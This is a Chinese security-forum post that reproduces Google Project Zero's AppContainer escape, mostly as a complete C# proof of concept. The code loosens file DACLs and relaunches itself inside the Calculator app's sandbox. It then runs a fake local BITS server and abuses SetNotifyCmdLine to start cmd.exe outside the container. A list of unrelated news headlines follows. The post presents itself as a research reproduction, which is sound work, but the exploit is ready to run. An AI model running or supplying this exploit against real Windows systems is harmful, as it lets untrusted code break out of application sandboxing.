关于谷歌P0的AppContainer逃逸的一种简单的复现

简要概述
简要分析




运行效果
IBackgroundCopyJob::SetNotifyCmdLine:
https://docs.microsoft.com/zh-cn/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline



相关代码
using System;using System.Collections.Generic;using System.Diagnostics.CodeAnalysis;using System.IO;using System.Linq;using System.Net;using System.Net.Sockets;using System.Runtime.CompilerServices;using System.Runtime.InteropServices;using System.Text;using System.Threading;using System.Threading.Tasks;using AppContainerBypass;using NtApiDotNet;using NtApiDotNet.Win32;namespace AppContainerBypass{class Program{static volatile ManualResetEvent me=new ManualResetEvent(false);static bool IsInAppContainer(){using (var token = NtToken.OpenProcessToken()){return token.AppContainer;}}static void UpdateSecurity(string path){var sd = new NtApiDotNet.SecurityDescriptor("D:AI(A;;FA;;;WD)(A;;FA;;;AC)");using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac)){file.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);}}static void FixSecurity(string dir){UpdateSecurity(dir);foreach (var file in Directory.GetFiles(dir)){UpdateSecurity(file);}}static string cmdExe = @"C:\Windows\System32\cmd.exe";static string mainExe = typeof(Program).Assembly.Location;static bool RestartInAppContainer(string[] args){string FakeFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), "1.txt");if (!File.Exists(FakeFile)){File.WriteAllText(FakeFile,"fake");}FixSecurity(Path.GetDirectoryName(typeof(Program).Assembly.Location));FixSecurity(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));List<Sid> caps = new List<Sid>{KnownSids.CapabilityInternetClient,KnownSids.CapabilityInternetClientServer,KnownSids.CapabilityPrivateNetworkClientServer,KnownSids.CapabilityPicturesLibrary};Win32ProcessConfig config = new Win32ProcessConfig{CreationFlags = CreateProcessFlags.NewConsole,CurrentDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),ApplicationName = mainExe,CommandLine = mainExe + " " + FakeFile};config.SetAppContainerSidFromName("microsoft.windowscalculator_8wekyb3d8bbwe");config.Capabilities.AddRange(caps);using (var p = Win32Process.CreateProcess(config)){p.Process.Wait();}return true;}private static void Process_CANCEL_SESSION(HttpListenerContext context){Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());context.Response.Headers["BITS-Packet-Type"] = "Ack";context.Response.ContentLength64 = 0;context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();}private static void Process_PING(HttpListenerContext context){context.Response.Headers["BITS-Packet-Type"] = "Ack";context.Response.Headers["BITS-Error-Code"] = "1";context.Response.Headers["BITS-Error-Context"] = "";context.Response.ContentLength64 = 0;}private static void Process_CLOSE_SESSION(HttpListenerContext context){Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());context.Response.Headers["BITS-Packet-Type"] = "Ack";context.Response.ContentLength64 = 0;context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();}private static void Process_FRAGMENT(HttpListenerContext context){Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());//string ContentName = context.Request.Headers["Content-Name"].ToString();string ContentRange = context.Request.Headers["Content-Range"].ToString();List<string> ContentRangeList = ContentRange.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).ToList();List<string> crange = ContentRangeList[0].Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries).ToList();string total_length = ContentRangeList[1];string range_start = crange[0];string range_end = crange[1];Console.Write("Process Process_FRAGMENT:range_start:" + range_start + ",range_end:" + range_end + ",total_length:" + total_length + Environment.NewLine);context.Response.Headers["BITS-Packet-Type"] = "Ack";context.Response.ContentLength64 = 0;context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();context.Response.Headers["BITS-Received-Content-Range"] = (int.Parse(range_end) + 1).ToString();}private static void Process_CREATE_SESSION(HttpListenerContext context){string supported_protocols = "{7df0354d-249b-430f-820d-3d2a9bef4931}";List<string> BITSSupportedProtocolsList = context.Request.Headers["BITS-Supported-Protocols"].Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries).ToList();if (BITSSupportedProtocolsList.Contains(supported_protocols)){Guid SessionId = Guid.NewGuid();context.Response.ContentLength64 = 0;context.Response.Headers["BITS-Protocol"] = supported_protocols;context.Response.Headers["BITS-Packet-Type"] = "Ack";context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();}}private static void Process_BITS_POST(HttpListenerContext context){try{if (context.Request.Headers["BITS-Packet-Type"] != null){string BITSPacketType = context.Request.Headers["BITS-Packet-Type"].ToString().ToUpper();Console.Write("Process BITSPacketType:" + BITSPacketType + Environment.NewLine);switch (BITSPacketType){case "CREATE-SESSION":{Process_CREATE_SESSION(context);break;}case "FRAGMENT":{Process_FRAGMENT(context);break;}case "CLOSE-SESSION":{Process_CLOSE_SESSION(context);break;}case "CANCEL-SESSION":{Process_CANCEL_SESSION(context);break;}case "PING":{Process_PING(context);break;}default:{break;}}context.Response.StatusCode = 200;context.Response.Close();}}catch (Exception e){context.Response.StatusCode = 500;context.Response.Headers["BITS-Error-Code"] = "1";context.Response.Close();Console.WriteLine(e);}}private static void StartBitsServer(){try{using (HttpListener listener = new HttpListener()){listener.Prefixes.Add("http://localhost:5686/");listener.Start();Console.Write("StartBitsServer"+Environment.NewLine);me.Set();while (true){HttpListenerContext context = listener.GetContext();Console.Write("Process Method:" + context.Request.HttpMethod.ToUpper() + Environment.NewLine);switch (context.Request.HttpMethod.ToUpper()){case "BITS_POST":{Process_BITS_POST(context);break;}default:{break;}}}}}catch (Exception e){Console.WriteLine(e);throw;}}static void Main(string[] args){try{if (IsInAppContainer()){RunBtsJob(args[0]);}else{Task.Factory.StartNew(() =>{StartBitsServer();});me.WaitOne();RestartInAppContainer(args.ToArray());}}catch (Exception e){Console.WriteLine(e);throw;}}private static void RunBtsJob(string file){IBackgroundCopyManager mgr = new BackgroundCopyManager() as IBackgroundCopyManager;Guid jobGuid;IBackgroundCopyJob job1;mgr.CreateJob("fake", BG_JOB_TYPE.BG_JOB_TYPE_UPLOAD, out jobGuid, out job1);IBackgroundCopyJob2 job = job1 as IBackgroundCopyJob2;job.SetNotifyCmdLine(cmdExe, cmdExe);job.SetNotifyFlags(BG_JOB_NOTIFICATION_TYPE.BG_NOTIFY_JOB_TRANSFERRED);job.AddFile("http://localhost:5686/fake.png", file);job.Resume();BG_JOB_STATE stat = BG_JOB_STATE.BG_JOB_STATE_QUEUED;while (stat != BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED){Thread.Sleep(1000);job.GetState(out stat);}job.Complete();Console.Write("Success");}}}
相关引用
相关项目

看雪ID:王cb
https://bbs.pediy.com/user-home-609565.htm

# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
-
谷歌:不使用HTTPS的网站将会被Chrome浏览器默认拦截!
昨天Google宣布了一个很炸裂的消息,自Chrome 154版本起,谷歌将调整Chrome浏览器的默认设置,默认开启"Always Use Secure Connections"(
-
谷歌推出紧急安全更新修复Chrome中的零日漏洞 黑客已利用漏洞发起攻击
谷歌日前推出紧急安全更新修复 Chrome 浏览器中的零日漏洞,这也是 2025 年以来谷歌修复的第六个已知的零日漏洞,这些漏洞都是在被谷歌修复前就已经遭到黑客利用。在安全公告中谷歌称被利用的漏洞是
-
谷歌驳斥所谓的25亿名Gmail用户遭遇重大安全问题需要更改密码的说法
上周知名媒体福布斯发布文章声称谷歌警告 25 亿名 Gmail 用户应该修改密码,该消息被误认为谷歌出现重大安全问题例如数据库泄露,随后有众多科技网站转载该消息并放大恐慌。当时蓝点网看到文章后觉得事情
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注KnowSafe微信公众号随时掌握互联网精彩
- 微信宣布安卓手机朋友圈能发实况照片了:各机型陆续接入
- 霸州市人民政府与华为技术有限公司签署战略合作协议
- 诸子云 | 2022评优:最佳分会候选展示与投票
- 这 11 种编程语言,还“活着”吗?
- 中赫集团、中国移动和高通计划利用5G赋能无界XR,共同探索“智慧工体”建设新路径
- 首届超级CSO年度评选颁奖盛典延期:2022.4.23上海见
- 【白话科普】《逆局》最终 boss 隐藏自己的方式是?
- PC游戏玩家的福音!高通实现顶级Wi-Fi游戏性能
- 在看 | 一周网安回顾(2021.11.06-11.12)
- 虎符网络完成数千万Pre-A轮融资
- 优酷APP响应式布局在消费场景的落地之Android篇
- 为什么EV SSL证书那么贵?Geotrust的EV SSL证书怎么样



